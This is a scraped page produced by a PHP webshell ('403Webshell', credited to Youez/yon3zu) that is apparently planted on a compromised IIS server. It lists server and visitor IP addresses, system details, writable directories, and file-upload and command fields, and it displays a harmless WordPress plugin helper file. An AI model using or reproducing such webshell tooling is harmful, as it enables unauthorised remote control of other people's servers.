403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/6pocketz/wp-content/plugins/angie/modules/code-snippets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/6pocketz/wp-content/plugins/angie/modules/code-snippets/utils.php
<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

function angie_cs_get_snippet_asset_url( $file_path, $asset_filename ): string {
	$snippet_dir = dirname( $file_path );
	$normalized_snippet_dir = wp_normalize_path( $snippet_dir );
	$normalized_content_dir = wp_normalize_path( WP_CONTENT_DIR );
	$relative_path = str_replace( $normalized_content_dir, '', $normalized_snippet_dir );
	$safe_filename = basename( $asset_filename );

	return content_url( $relative_path ) . '/' . $safe_filename;
}

Youez - 2016 - github.com/yon3zu
LinuXploit